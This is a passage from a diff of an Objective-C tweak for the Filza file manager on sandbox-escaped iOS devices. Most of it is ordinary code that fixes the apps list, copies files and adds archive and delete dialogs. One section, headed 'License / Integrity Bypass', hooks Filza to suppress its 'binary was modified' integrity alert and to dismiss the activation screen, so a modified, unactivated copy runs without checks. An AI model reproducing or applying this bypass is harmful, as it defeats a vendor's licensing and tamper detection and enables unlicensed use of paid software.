unZipFile:toPath:currentDirectory:withPassword:outMessage:] +static id hook_unZipFilePassword(id self, SEL _cmd, id zipPath, id toPath, id currentDir, id password, id *outMsg) { + return hook_unZipFile(self, @selector(unZipFile:toPath:currentDirectory:outMessage:), zipPath, toPath, currentDir, outMsg); +} + +#pragma mark - Apps Manager Fix + +// Full Apps Manager fix for sandbox-escaped devices. +// LSApplicationProxy properties (localizedName, iconsDictionary, dataContainerURL, +// staticDiskUsage, etc.) return nil without entitlements. +// Fix: Hook setAppProxy: to populate from Info.plist + filesystem directly. +// Hook calculateDiskUsage to walk bundle dirs. Hook tap to use bundle path fallback. + +@interface LSApplicationProxy : NSObject ++ (id)applicationProxyForIdentifier:(NSString *)bundleId; +- (NSString *)applicationIdentifier; +- (NSURL *)bundleURL; +- (NSURL *)dataContainerURL; +- (NSString *)localizedName; +- (NSString *)bundleVersion; +- (NSString *)shortVersionString; +- (NSString *)applicationType; +- (NSDictionary *)iconsDictionary; +- (NSNumber *)staticDiskUsage; +- (NSNumber *)dynamicDiskUsage; +@end + +@interface LSApplicationWorkspace : NSObject ++ (id)defaultWorkspace; +- (NSArray *)allApplications; +@end + +// --- Helper: find app bundle path from bundleId --- +static NSString *findBundlePath(NSString *bundleId) { + NSString *wqPath = WQBundlePathForIdentifier(bundleId); + if (wqPath.length) return wqPath; + NSFileManager *fm = [NSFileManager defaultManager]; + NSString *appsDir = @"/var/containers/Bundle/Application"; + for (NSString *uuid in [fm contentsOfDirectoryAtPath:appsDir error:nil]) { + NSString *uuidPath = [appsDir stringByAppendingPathComponent:uuid]; + for (NSString *item in [fm contentsOfDirectoryAtPath:uuidPath error:nil]) { + if (![item hasSuffix:@".app"]) continue; + NSString *appPath = [uuidPath stringByAppendingPathComponent:item]; + NSString *plist = [appPath stringByAppendingPathComponent:@"Info.plist"]; + NSDictionary *info = [NSDictionary dictionaryWithContentsOfFile:plist]; + if ([info[@"CFBundleIdentifier"] isEqualToString:bundleId]) return appPath; + } + } + // System apps + for (NSString *item in [fm contentsOfDirectoryAtPath:@"/Applications" error:nil]) { + if (![item hasSuffix:@".app"]) continue; + NSString *appPath = [@"/Applications" stringByAppendingPathComponent:item]; + NSString *plist = [appPath stringByAppendingPathComponent:@"Info.plist"]; + NSDictionary *info = [NSDictionary dictionaryWithContentsOfFile:plist]; + if ([info[@"CFBundleIdentifier"] isEqualToString:bundleId]) return appPath; + } + return nil; +} + +// --- Helper: find data container path --- +static NSString *findDataContainer(NSString *bundleId) { + NSString *error = nil; + NSString *path = MCMFilzaDataContainerPath(bundleId, &error); + if (!path) NSLog(@"[MCMFilza] data lookup failed id=%@ detail=%@", bundleId, error); + return path; +} + +// --- Helper: find best icon in bundle --- +static NSString *findIconPath(NSString *bundlePath, NSDictionary *infoPlist) { + NSFileManager *fm = [NSFileManager defaultManager]; + // Try CFBundleIcons -> CFBundlePrimaryIcon -> CFBundleIconFiles + NSDictionary *icons = infoPlist[@"CFBundleIcons"]; + NSDictionary *primary = icons[@"CFBundlePrimaryIcon"]; + NSArray *iconFiles = primary[@"CFBundleIconFiles"]; + if (!iconFiles) iconFiles = infoPlist[@"CFBundleIconFiles"]; + + NSString *bestIcon = nil; + unsigned long long bestSize = 0; + if (iconFiles.count > 0) { + for (NSString *iconName in iconFiles) { + // Try exact name and @2x/@3x variants + NSArray *variants = @[ + iconName, + [iconName stringByAppendingString:@"@2x.png"], + [iconName stringByAppendingString:@"@3x.png"], + [iconName stringByAppendingString:@"@2x~iphone.png"], + [iconName stringByAppendingString:@"@3x~iphone.png"], + [NSString stringWithFormat:@"%@.png", iconName], + ]; + for (NSString *v in variants) { + NSString *full = [bundlePath stringByAppendingPathComponent:v]; + NSDictionary *attrs = [fm attributesOfItemAtPath:full error:nil]; + unsigned long long sz = [attrs fileSize]; + if (sz > bestSize) { bestSize = sz; bestIcon = full; } + } + } + } + + // Fallback: scan for Icon*.png / AppIcon*.png + if (!bestIcon) { + for (NSString *file in [fm contentsOfDirectoryAtPath:bundlePath error:nil]) { + if (([file hasPrefix:@"Icon"] || [file hasPrefix:@"icon"] || [file hasPrefix:@"AppIcon"]) + && [file hasSuffix:@".png"]) { + NSString *full = [bundlePath stringByAppendingPathComponent:file]; + NSDictionary *attrs = [fm attributesOfItemAtPath:full error:nil]; + unsigned long long sz = [attrs fileSize]; + if (sz > bestSize) { bestSize = sz; bestIcon = full; } + } + } + } + return bestIcon; +} + +// --- Hook: allApplications fallback --- +static IMP orig_allApplications = NULL; +static id hook_allApplications(id self, SEL _cmd) { + NSArray *origResult = orig_allApplications + ? ((id(*)(id,SEL))orig_allApplications)(self, _cmd) : @[]; + NSMutableArray *apps = [NSMutableArray array]; + NSMutableSet *known = [NSMutableSet set]; + for (id proxy in origResult ?: @[]) { + NSString *identifier = [proxy respondsToSelector:@selector(applicationIdentifier)] + ? [proxy applicationIdentifier] : nil; + if (!identifier) identifier = [proxy respondsToSelector:@selector(bundleIdentifier)] + ? [proxy bundleIdentifier] : nil; + if (identifier.length) { + [known addObject:identifier]; + [apps addObject:proxy]; + } + } + + // Apps hidden from LaunchServices enumeration are recovered from their + // data containers and .com.apple.mobile_container_manager.metadata.plist. + NSArray *wqApps = WQInstalledApplications(); + Class proxyClass = NSClassFromString(@"LSApplicationProxy"); + NSUInteger merged = 0; + for (NSDictionary *info in wqApps) { + NSString *bundleID = info[@"bundleID"]; + if (!bundleID.length || [known containsObject:bundleID]) continue; + id proxy = nil; + if ([proxyClass respondsToSelector: + NSSelectorFromString(@"applicationProxyForIdentifier:")]) { + proxy = ((id(*)(id,SEL,id))objc_msgSend)(proxyClass, + NSSelectorFromString(@"applicationProxyForIdentifier:"), bundleID); + } + if (!proxy) proxy = [[WQApplicationProxy alloc] initWithAppInfo:info]; + if (!proxy) continue; + [apps addObject:proxy]; + [known addObject:bundleID]; + merged++; + } + if (merged > 0 || apps.count > 0) { + NSLog(@"[Tweak] Apps Manager: LaunchServices=%lu worse_query merged=%lu total=%lu", + (unsigned long)(origResult.count), (unsigned long)merged, + (unsigned long)apps.count); + } + if (apps.count > 0) return apps; + + NSFileManager *fm = [NSFileManager defaultManager]; + void (^scanDir)(NSString *) = ^(NSString *dir) { + for (NSString *uuid in [fm contentsOfDirectoryAtPath:dir error:nil]) { + NSString *uuidPath = [dir stringByAppendingPathComponent:uuid]; + for (NSString *item in [fm contentsOfDirectoryAtPath:uuidPath error:nil]) { + if (![item hasSuffix:@".app"]) continue; + NSString *plist = [[uuidPath stringByAppendingPathComponent:item] stringByAppendingPathComponent:@"Info.plist"]; + NSDictionary *info = [NSDictionary dictionaryWithContentsOfFile:plist]; + NSString *bid = info[@"CFBundleIdentifier"]; + if (bid) { + id proxy = [NSClassFromString(@"LSApplicationProxy") applicationProxyForIdentifier:bid]; + if (proxy) [apps addObject:proxy]; + } + } + } + }; + scanDir(@"/var/containers/Bundle/Application"); + // System apps (flat structure) + for (NSString *item in [fm contentsOfDirectoryAtPath:@"/Applications" error:nil]) { + if (![item hasSuffix:@".app"]) continue; + NSString *plist = [[@"/Applications" stringByAppendingPathComponent:item] stringByAppendingPathComponent:@"Info.plist"]; + NSDictionary *info = [NSDictionary dictionaryWithContentsOfFile:plist]; + NSString *bid = info[@"CFBundleIdentifier"]; + if (bid) { + id proxy = [NSClassFromString(@"LSApplicationProxy") applicationProxyForIdentifier:bid]; + if (proxy) [apps addObject:proxy]; + } + } + NSLog(@"[Tweak] Apps Manager: found %lu apps via filesystem", (unsigned long)apps.count); + return apps; +} + +// --- Hook: setAppProxy: — populate name, icon, paths from filesystem --- +static IMP orig_setAppProxy = NULL; +static void hook_setAppProxy(id self, SEL _cmd, id proxy) { + // Call original first + ((void(*)(id,SEL,id))orig_setAppProxy)(self, _cmd, proxy); + + NSString *bundleId = [self performSelector:NSSelectorFromString(@"bundleId")]; + if (!bundleId) return; + + NSString *bundlePath = nil; + NSString *currentFilePath = [self performSelector:NSSelectorFromString(@"filePath")]; + + // Fix filePath if missing or inaccessible + if (!currentFilePath || currentFilePath.length == 0) { + NSURL *bundleURL = [proxy bundleURL]; + if ([bundleURL isKindOfClass:NSURL.class]) bundlePath = [bundleURL path]; + if (!bundlePath) bundlePath = findBundlePath(bundleId); + if (bundlePath) { + ((void(*)(id,SEL,id))objc_msgSend)(self, NSSelectorFromString(@"setFilePath:"), bundlePath); + } + } else { + bundlePath = currentFilePath; + } + + // Fix display name — always prefer Info.plist name over proxy, and fall + // back to the proxy's localized name for hidden apps without a readable + // bundle path. + NSString *displayName = nil; + if (bundlePath) { + NSString *plist = [bundlePath stringByAppendingPathComponent:@"Info.plist"]; + NSDictionary *info = [NSDictionary dictionaryWithContentsOfFile:plist]; + displayName = info[@"CFBundleDisplayName"]; + if (!displayName) displayName = info[@"CFBundleName"]; + } + if (!displayName.length && [proxy respondsToSelector:@selector(localizedName)]) + displayName = [proxy localizedName]; + if (!displayName.length) displayName = bundleId; + if (displayName.length) + ((void(*)(id,SEL,id))objc_msgSend)(self, NSSelectorFromString(@"setAFileName:"), displayName); + + // Fix icon path + NSString *iconPath = ((id(*)(id,SEL))objc_msgSend)(self, NSSelectorFromString(@"iconPath")); + if (!iconPath && bundlePath) { + NSString *plist = [bundlePath stringByAppendingPathComponent:@"Info.plist"]; + NSDictionary *info = [NSDictionary dictionaryWithContentsOfFile:plist]; + NSString *found = findIconPath(bundlePath, info); + if (found) { + ((void(*)(id,SEL,id))objc_msgSend)(self, NSSelectorFromString(@"setIconPath:"), found); + } + } + + // Fix document path. Filza treats an empty string as a valid value in + // some builds, which leaves the row unselectable; only a non-empty path + // counts as populated. + NSString *docPath = ((id(*)(id,SEL))objc_msgSend)(self, NSSelectorFromString(@"documentPath")); + if (!docPath.length) { + NSURL *dataURL = [proxy dataContainerURL]; + if ([dataURL isKindOfClass:NSURL.class]) docPath = [dataURL path]; + if (!docPath.length) docPath = WQDataPathForIdentifier(bundleId); + if (!docPath.length) docPath = findDataContainer(bundleId); + if (docPath.length) { + ((void(*)(id,SEL,id))objc_msgSend)(self, NSSelectorFromString(@"setDocumentPath:"), docPath); + } + } + + // Fix version + NSString *ver = ((id(*)(id,SEL))objc_msgSend)(self, NSSelectorFromString(@"version")); + if (!ver || ver.length == 0) { + ver = [proxy bundleVersion]; + if (!ver && bundlePath) { + NSDictionary *info = [NSDictionary dictionaryWithContentsOfFile: + [bundlePath stringByAppendingPathComponent:@"Info.plist"]]; + ver = info[@"CFBundleShortVersionString"]; + if (!ver) ver = info[@"CFBundleVersion"]; + } + if (ver) ((void(*)(id,SEL,id))objc_msgSend)(self, NSSelectorFromString(@"setVersion:"), ver); + } +} + + +// --- Hook: browserView:didSelectItemAtIndexPath: — fallback to bundle path --- +static IMP orig_didSelectItem = NULL; +static void hook_didSelectItem(id self, SEL _cmd, id browserView, id indexPath) { + // Get the selected item + id fileList = ((id(*)(id,SEL))objc_msgSend)(self, NSSelectorFromString(@"fileList")); + NSUInteger row = ((NSUInteger(*)(id,SEL))objc_msgSend)(indexPath, @selector(row)); + id item = ((id(*)(id,SEL,NSUInteger))objc_msgSend)(fileList, NSSelectorFromString(@"objectAtIndex:"), row); + + NSString *docPath = ((id(*)(id,SEL))objc_msgSend)(item, NSSelectorFromString(@"documentPath")); + NSString *bundlePath = [item performSelector:NSSelectorFromString(@"filePath")]; + + // If documentPath is empty but the app's data container is known, use it + // so the original handler navigates instead of showing the unsupported + // item toast. Fall back to the .app bundle for system apps without data. + if (!docPath.length) { + NSString *bundleId = [item performSelector:NSSelectorFromString(@"bundleId")]; + if (bundleId.length) docPath = WQDataPathForIdentifier(bundleId); + if (!docPath.length && bundleId.length) docPath = WQBundlePathForIdentifier(bundleId); + if (!docPath.length) docPath = bundlePath; + if (docPath.length) { + ((void(*)(id,SEL,id))objc_msgSend)(item, NSSelectorFromString(@"setDocumentPath:"), docPath); + } + } + + // Call original + ((void(*)(id,SEL,id,id))orig_didSelectItem)(self, _cmd, browserView, indexPath); +} + +#pragma mark - License / Integrity Bypass + +// Suppress "Main binary was modified" and "Not activated" alerts. +// +[TGAlertController showAlertWithTitle:text:cancelButton:otherButtons:completion:] +// checks the text parameter; if it's the integrity/activation alert, swallow it. +static IMP orig_showAlert = NULL; +static id hook_showAlertWithTitle(id self, SEL _cmd, id title, id text, id cancelButton, id otherButtons, id completion) { + NSString *textStr = text; + if ([textStr isKindOfClass:[NSString class]]) { + if ([textStr containsString:@"binary was modified"] || + [textStr containsString:@"reinstall Filza"]) { + NSLog(@"[Tweak] Suppressed integrity alert"); + return nil; + } + } + // Pass through all other alerts + return ((id(*)(id,SEL,id,id,id,id,id))orig_showAlert)(self, _cmd, title, text, cancelButton, otherButtons, completion); +} + +// Suppress activation nag: -[NewActivationViewController viewDidLoad] +// Just dismiss the VC immediately so the user never sees it. +static IMP orig_activationViewDidLoad = NULL; +static void hook_activationViewDidLoad(id self, SEL _cmd) { + // Call original to set up the VC, then immediately dismiss + ((void(*)(id,SEL))orig_activationViewDidLoad)(self, _cmd); + dispatch_async(dispatch_get_main_queue(), ^{ + ((void(*)(id,SEL,BOOL,id))objc_msgSend)(self, + NSSelectorFromString(@"dismissViewControllerAnimated:completion:"), NO, nil); + }); + NSLog(@"[Tweak] Suppressed activation nag"); +} + +#pragma mark - MCM-aware local file operations + +static void setPastePOSIXError(NSError **error, int code, + NSString *operation, NSString *path) { + if (!error) return; + NSString *description = [NSString stringWithFormat:@"%@ failed for %@: %s", + operation, path, strerror(code)]; + *error = [NSError errorWithDomain:NSPOSIXErrorDomain code:code + userInfo:@{NSLocalizedDescriptionKey: description}]; +} + +static BOOL directCopyItem(NSString *source, NSString *destination, NSError **error); + +static BOOL directCopyRegularFile(NSString *source, NSString *destination, + mode_t mode, NSError **error) { + int input = open(source.fileSystemRepresentation, + O_RDONLY | O_CLOEXEC | O_NOFOLLOW); + if (input < 0) { + setPastePOSIXError(error, errno, @"open source", source); + return NO; + } + int output = open(destination.fileSystemRepresentation, + O_WRONLY | O_CREAT | O_EXCL | O_CLOEXEC | O_NOFOLLOW, + mode & 0777 ?: 0600); + if (output < 0) { + int saved = errno; + close(input); + setPastePOSIXError(error, saved, @"create destination", destination); + return NO; + } + + BOOL success = YES; + uint8_t buffer[64 * 1024]; + while (success) { + ssize_t count = read(input, buffer, sizeof(buffer)); + if (count == 0) break; + if (count < 0) { + if (errno == EINTR) continue; + setPastePOSIXError(error, errno, @"read", source); + success = NO; + break; + } + ssize_t offset = 0; + while (offset < count) { + ssize_t written = write(output, buffer + offset, (size_t)(count - offset)); + if (written < 0 && errno == EINTR) continue; + if (written <= 0) { + setPastePOSIXError(error, written < 0 ? errno : EIO, + @"write", destination); + success = NO; + break; + } + offset += written; + } + } + if (success) fsync(output); + close(output); + close(input); + if (!success) unlink(destination.fileSystemRepresentation); + return success; +} + +static BOOL directCopyDirectory(NSString *source, NSString *destination, + mode_t mode, NSError **error) { + if (mkdir(destination.fileSystemRepresentation, mode & 0777 ?: 0700) != 0) { + setPastePOSIXError(error, errno, @"create directory", destination); + return NO; + } + DIR *directory = opendir(source.fileSystemRepresentation); + if (!directory) { + int saved = errno; + rmdir(destination.fileSystemRepresentation); + setPastePOSIXError(error, saved, @"open directory", source); + return NO; + } + + BOOL success = YES; + struct dirent *entry = NULL; + while (success && (entry = readdir(directory)) != NULL) { + if (!strcmp(entry->d_name, ".") || !strcmp(entry->d_name, "..")) continue; + NSString *name = [NSFileManager.defaultManager + stringWithFileSystemRepresentation:entry->d_name + length:strlen(entry->d_name)]; + if (!name) { + setPastePOSIXError(error, EILSEQ, @"decode filename", source); + success = NO; + break; + } + success = directCopyItem([source stringByAppendingPathComponent:name], + [destination stringByAppendingPathComponent:name], error); + } + closedir(directory); + if (!success) + [NSFileManager.defaultManager removeItemAtPath:destination error:nil]; + return success; +} + +static BOOL directCopySymbolicLink(NSString *source, NSString *destination, + NSError **error) { + char target[PATH_MAX] = {0}; + ssize_t length = readlink(source.fileSystemRepresentation, + target, sizeof(target) - 1); + if (length < 0) { + setPastePOSIXError(error, errno, @"read symbolic link", source); + return NO; + } + target[length] = '\0'; + if (symlink(target, destination.fileSystemRepresentation) != 0) { + setPastePOSIXError(error, errno, @"create symbolic link", destination); + return NO; + } + return YES; +} + +static BOOL directCopyItem(NSString *source, NSString *destination, NSError **error) { + struct stat status = {0}; + if (lstat(source.fileSystemRepresentation, &status) != 0) { + setPastePOSIXError(error, errno, @"inspect source", source); + return NO; + } + if (S_ISREG(status.st_mode)) + return directCopyRegularFile(source, destination, status.st_mode, error); + if (S_ISDIR(status.st_mode)) + return directCopyDirectory(source, destination, status.st_mode, error); + if (S_ISLNK(status.st_mode)) + return directCopySymbolicLink(source, destination, error); + setPastePOSIXError(error, ENOTSUP, @"copy unsupported item", source); + return NO; +} + +static NSString *localPathFromPasteboardValue(id value) { + if ([value isKindOfClass:NSURL.class] && [(NSURL *)value isFileURL]) + return [(NSURL *)value path]; + if (![value isKindOfClass:NSString.class]) return nil; + NSString *string = value; + if (string.isAbsolutePath) return string; + NSURL *URL = [NSURL URLWithString:string]; + if (URL.isFileURL) return URL.path; + + Class preferencesClass = NSClassFromString(@"TGPreferences"); + id preferences = [preferencesClass respondsToSelector:@selector(sharedInstance)] + ? ((id(*)(id, SEL))objc_msgSend)(preferencesClass, @selector(sharedInstance)) : nil; + SEL selector = NSSelectorFromString(@"urlFromString:"); + id parsed = [preferences respondsToSelector:selector] + ? ((id(*)(id, SEL, id))objc_msgSend)(preferences, selector, string) : nil; + return [parsed isKindOfClass:NSURL.class] && [(NSURL *)parsed isFileURL] + ? [(NSURL *)parsed path] : nil; +} + +static NSString *uniquePasteDestination(NSString *directory, NSString *name) { + if (name.length == 0 || [name isEqualToString:@"."] || + [name isEqualToString:@".."] || [name containsString:@"/"]) return nil; + NSString *candidate = [directory stringByAppendingPathComponent:name]; + struct stat status = {0}; + if (lstat(candidate.fileSystemRepresentation, &status) != 0 && errno == ENOENT) + return candidate; + + NSString *extension = name.pathExtension; + NSString *stem = extension.length ? name.stringByDeletingPathExtension : name; + for (NSUInteger index = 1; index <= 999; index++) { + NSString *suffix = index == 1 ? @" copy" + : [NSString stringWithFormat:@" copy %lu", (unsigned long)index]; + NSString *copyName = [stem stringByAppendingString:suffix]; + if (extension.length) copyName = [copyName stringByAppendingPathExtension:extension]; + candidate = [directory stringByAppendingPathComponent:copyName]; + if (lstat(candidate.fileSystemRepresentation, &status) != 0 && errno == ENOENT) + return candidate; + } + return nil; +} + +static BOOL pasteDestinationIsInsideSource(NSString *source, NSString *destinationDirectory) { + struct stat status = {0}; + if (lstat(source.fileSystemRepresentation, &status) != 0 || !S_ISDIR(status.st_mode)) + return NO; + char sourceReal[PATH_MAX] = {0}; + char destinationReal[PATH_MAX] = {0}; + if (!realpath(source.fileSystemRepresentation, sourceReal) || + !realpath(destinationDirectory.fileSystemRepresentation, destinationReal)) return NO; + NSString *sourcePath = [NSString stringWithUTF8String:sourceReal]; + NSString *destinationPath = [NSString stringWithUTF8String:destinationReal]; + return [destinationPath isEqualToString:sourcePath] || + [destinationPath hasPrefix:[sourcePath stringByAppendingString:@"/"]]; +} + +static void showPasteFailure(UIViewController *controller, NSArray *errors) { + if (errors.count == 0) return; + NSString *message = errors.firstObject.localizedDescription ?: @"Paste failed"; + if (errors.count > 1) + message = [NSString stringWithFormat:@"%lu items failed.\n%@", + (unsigned long)errors.count, message]; + UIAlertController *alert = [UIAlertController alertControllerWithTitle:@"Paste failed" + message:message preferredStyle:UIAlertControllerStyleAlert]; + [alert addAction:[UIAlertAction actionWithTitle:@"OK" + style:UIAlertActionStyleDefault handler:nil]]; + [controller presentViewController:alert animated:YES completion:nil]; +} + +static NSArray *selectedFileItems(id controller, NSArray *indexPaths) { + SEL fileListSelector = NSSelectorFromString(@"fileList"); + NSArray *fileList = [controller respondsToSelector:fileListSelector] + ? ((id(*)(id, SEL))objc_msgSend)(controller, fileListSelector) : nil; + if (![fileList isKindOfClass:NSArray.class] || + ![indexPaths isKindOfClass:NSArray.class]) return @[]; + + NSMutableArray *items = [NSMutableArray array]; + for (id value in indexPaths) { + if (![value isKindOfClass:NSIndexPath.class]) continue; + NSInteger row = [(NSIndexPath *)value row]; + if (row >= 0 && (NSUInteger)row < fileList.count) + [items addObject:fileList[(NSUInteger)row]]; + } + return items; +} + +static NSString *fileItemPath(id item) { + SEL selector = NSSelectorFromString(@"filePath"); + id value = [item respondsToSelector:selector] + ? ((id(*)(id, SEL))objc_msgSend)(item, selector) : nil; + return [value isKindOfClass:NSString.class] ? value : nil; +} + +static BOOL fileItemsUseMCMOperations(NSArray *items) { + if (items.count == 0) return NO; + for (id item in items) { + NSString *path = fileItemPath(item); + if (!path.length || !MCMFilzaPathHasActiveLease(path)) return NO; + } + return YES; +} + +static void showDeleteFailure(UIViewController *controller, + NSArray *errors) { + if (errors.count == 0 || ![controller isKindOfClass:UIViewController.class]) return; + NSString *message = errors.firstObject.localizedDescription ?: @"Delete failed"; + if (errors.count > 1) + message = [NSString stringWithFormat:@"%lu items failed.\n%@", + (unsigned long)errors.count, message]; + UIAlertController *alert = [UIAlertController alertControllerWithTitle:@"Delete failed" + message:message preferredStyle:UIAlertControllerStyleAlert]; + [alert addAction:[UIAlertAction actionWithTitle:@"OK" + style:UIAlertActionStyleDefault handler:nil]]; + [controller presentViewController:alert animated:YES completion:nil]; +} + +static void reloadFileSystemController(id controller) { + SEL loadSelector = NSSelectorFromString(@"doLoadingPage"); + if ([controller respondsToSelector:loadSelector]) + ((void(*)(id, SEL))objc_msgSend)(controller, loadSelector); +} + +static void showArchiveResult(UIViewController *controller, NSUInteger moved, + NSArray *errors) { + if (![controller isKindOfClass:UIViewController.class]) return; + NSString *title = moved > 0 + ? (errors.count ? @"Archive completed with errors" : @"Archived") + : @"Archive failed"; + NSString *message = moved == 1 + ? @"Moved 1 item to Documents/FilzaSlop Archive." + : [NSString stringWithFormat:@"Moved %lu items to Documents/FilzaSlop Archive.", + (unsigned long)moved]; + if (errors.count) + message = [message stringByAppendingFormat:@"\n\n%@", + errors.firstObject.localizedDescription]; + UIAlertController *alert = [UIAlertController alertControllerWithTitle:title + message:message preferredStyle:UIAlertControllerStyleAlert]; + [alert addAction:[UIAlertAction actionWithTitle:@"OK" + style:UIAlertActionStyleDefault handler:nil]]; + [controller presentViewController:alert animated:YES completion:nil]; +} + +static NSString *uniqueArchiveDestination(NSString *directory, NSString *name) { + NSFileManager *manager = NSFileManager.defaultManager; + if (!name.length) name = @"Archived Item"; + NSString *base = name.stringByDeletingPathExtension; + NSString *extension = name.pathExtension; + if (!base.length) base = @"Archived Item"; + for (NSUInteger suffix = 0; suffix < 10000; suffix++) { + NSString *candidateName = suffix == 0 ? name + : [NSString stringWithFormat:@"%@ %lu", base, + (unsigned long)(suffix + 1)]; + if (suffix > 0 && extension.length) + candidateName = [candidateName stringByAppendingPathExtension:extension]; + NSString *candidate = [directory stringByAppendingPathComponent:candidateName]; + if (![manager fileExistsAtPath:candidate]) return candidate; + } + return nil; +} + +static dispatch_queue_t archiveQueue(void) { + static dispatch_queue_t queue; + static dispatch_once_t onceToken; + dispatch_once(&onceToken, ^{ + queue = dispatch_queue_create("local.filzamod.container-archive", + DISPATCH_QUEUE_SERIAL); + }); + return queue; +} + +static BOOL pathIsInsideArchive(NSString *path) { + if (!path.length) return NO; + NSString *candidate = [[path stringByStandardizingPath] + stringByResolvingSymlinksInPath]; + NSString *archive = [[MCMFilzaArchivePath() stringByStandardizingPath] + stringByResolvingSymlinksInPath]; + return [candidate isEqualToString:archive] || + [candidate hasPrefix:[archive stringByAppendingString:@"/"]]; +} + +static void archiveSelectedItems(id controller, NSArray *indexPaths) { + MCMFilzaStart(); + NSArray *items = selectedFileItems(controller, indexPaths); + if (items.count == 0) { + NSError *error = nil; + setPastePOSIXError(&error, EINVAL, @"archive", @"selection"); + showArchiveResult(controller, 0, @[error]); + return; + } + + NSArray *capturedItems = [items copy]; + UIViewController *viewController = controller; + dispatch_async(archiveQueue(), ^{ + NSFileManager *manager = NSFileManager.defaultManager; + NSString *archive = MCMFilzaArchivePath(); + NSMutableArray *errors = [NSMutableArray array]; + NSError *directoryError = nil; + [manager createDirectoryAtPath:archive withIntermediateDirectories:YES + attributes:@{NSFilePosixPermissions: @0700} + error:&directoryError]; + if (directoryError) [errors addObject:directoryError]; + + NSUInteger moved = 0; + if (!directoryError) for (id item in capturedItems) { + NSString *source = fileItemPath(item); + NSError *error = nil; + if (!source.length || !MCMFilzaPathHasActiveLease(source)) { + setPastePOSIXError(&error, EACCES, @"archive", + source ?: @"(unknown)"); + } else if (pathIsInsideArchive(source)) { + error = [NSError errorWithDomain:NSPOSIXErrorDomain code:EINVAL + userInfo:@{NSLocalizedDescriptionKey: + [NSString stringWithFormat:@"%@ is already in FilzaSlop Archive.", + source.lastPathComponent]}]; + } else { + NSString *destination = uniqueArchiveDestination( + archive, source.lastPathComponent); + if (!destination) + setPastePOSIXError(&error, EEXIST, @"archive", source); + else if ([manager moveItemAtPath:source toPath:destination error:&error]) { + MCMFilzaRecordDeletedGeneratedPath(source); + moved++; + NSLog(@"[ContainerArchive] moved %@ -> %@", source, destination); + } + } + if (error) { + [errors addObject:error]; + NSLog(@"[ContainerArchive] failed source=%@ error=%@", source, error); + } + } + dispatch_async(dispatch_get_main_queue(), ^{ + reloadFileSystemController(viewController); + showArchiveResult(viewController, moved, errors); + NSLog(@"[ContainerArchive] complete moved=%lu failed=%lu destination=%@", + (unsigned long)moved, (unsigned long)errors.count, archive); + }); + }); +} + +static void showPermanentDeleteConfirmation(id controller, NSArray *indexPaths, + NSUInteger itemCount) { + if (![controller isKindOfClass:UIViewController.class]) return; + NSArray *capturedIndexPaths = [indexPaths copy] ?: @[]; + __weak id weakController = controller; + dispatch_after(dispatch_time(DISPATCH_TIME_NOW, 350 * NSEC_PER_MSEC), + dispatch_get_main_queue(), ^{ + id activeController = weakController; + if (![activeController isKindOfClass:UIViewController.class]) return; + + NSString *message = itemCount == 1 + ? @"This permanently deletes the item and cannot be undone. We recommend Archive first so you have a backup in Documents/FilzaSlop Archive." + : @"This permanently deletes the items and cannot be undone. We recommend Archive first so you have backups in Documents/FilzaSlop Archive."; + UIAlertController *alert = [UIAlertController + alertControllerWithTitle:@"Are you sure?" message:message + preferredStyle:UIAlertControllerStyleAlert]; + [alert addAction:[UIAlertAction actionWithTitle:@"Archive Instead" + style:UIAlertActionStyleDefault handler:^(__unused UIAlertAction *action) { + id selectedController = weakController; + if (selectedController) + archiveSelectedItems(selectedController, capturedIndexPaths); + }]]; + [alert addAction:[UIAlertAction actionWithTitle:@"Delete Permanently" + style:UIAlertActionStyleDestructive handler:^(__unused UIAlertAction *action) { + id selectedController = weakController; + if (!selectedController) return; + SEL eraseSelector = NSSelectorFromString( + @"doEraseSelectedIndexPaths:completion:"); + if (![selectedController respondsToSelector:eraseSelector]) return; + void (^completion)(NSArray *) = ^(__unused NSArray *deleted) { + reloadFileSystemController(selectedController); + }; + ((void(*)(id, SEL, id, id))objc_msgSend)( + selectedController, eraseSelector, capturedIndexPaths, completion); + }]]; + [alert addAction:[UIAlertAction actionWithTitle:@"Cancel" + style:UIAlertActionStyleCancel handler:nil]]; + [(UIViewController *)activeController presentViewController:alert + animated:YES completion:nil]; + }); +} + +static IMP orig_fileSystemPageDeleteAction = NULL; +static IMP orig_fileSystemDeleteSelectedItems = NULL; +static IMP orig_fileSystemDoTrashSelectedItems = NULL; +static IMP orig_fileSystemDoEraseSelectedItems = NULL; +static IMP parentFileSystemAskDeleteItems = NULL; +static IMP orig_pageAskDeleteItems = NULL; +static IMP orig_pageDoTrashSelectedItems = NULL; +static IMP orig_pageDoEraseSelectedItems = NULL; + +// Filza's jailed filesystem subclass replaces delete, trash, and erase with +// no-ops. Show a clear permanent-delete warning for paths backed by an active +// MCM lease, then perform the operation in this process instead of the helper. +static NSUInteger hook_fileSystemPageDeleteAction(id self, SEL _cmd) { + SEL selector = NSSelectorFromString(@"currentPath"); + NSString *path = [self respondsToSelector:selector] + ? ((id(*)(id, SEL))objc_msgSend)(self, selector) : nil; + if (MCMFilzaPathHasActiveLease(path)) return 0x8000; + return orig_fileSystemPageDeleteAction + ? ((NSUInteger(*)(id, SEL))orig_fileSystemPageDeleteAction)(self, _cmd) + : 0x8000; +} + +static void hook_fileSystemDeleteSelectedItems(id self, SEL _cmd) { + SEL selectedSelector = NSSelectorFromString(@"indexPathsForSelectedItemsOrMenu"); + NSArray *indexPaths = [self respondsToSelector:selectedSelector] + ? ((id(*)(id, SEL))objc_msgSend)(self, selectedSelector) : nil; + if (!fileItemsUseMCMOperations(selectedFileItems(self, indexPaths))) { + if (orig_fileSystemDeleteSelectedItems) + ((void(*)(id, SEL))orig_fileSystemDeleteSelectedItems)(self, _cmd); + return; + } + SEL askSelector = NSSelectorFromString(@"askDeleteItems:"); + if ([self respondsToSelector:askSelector]) + ((void(*)(id, SEL, id))objc_msgSend)(self, askSelector, indexPaths ?: @[]); +} + +static void hook_fileSystemAskDeleteItems(id self, SEL _cmd, NSArray *indexPaths) { + NSArray *items = selectedFileItems(self, indexPaths); + if (!fileItemsUseMCMOperations(items)) { + if (parentFileSystemAskDeleteItems) + ((void(*)(id, SEL, id))parentFileSystemAskDeleteItems)( + self, _cmd, indexPaths ?: @[]); + return; + } + + NSArray *capturedIndexPaths = [indexPaths copy] ?: @[]; + NSLog(@"[ContainerDelete] intercepted class=%@ items=%lu", + NSStringFromClass([self class]), (unsigned long)items.count); + + NSString *message = items.count == 1 + ? @"FilzaSlop cannot use Filza's Trash here. Archive moves this item to Documents/FilzaSlop Archive. Delete Permanently cannot be undone." + : @"FilzaSlop cannot use Filza's Trash here. 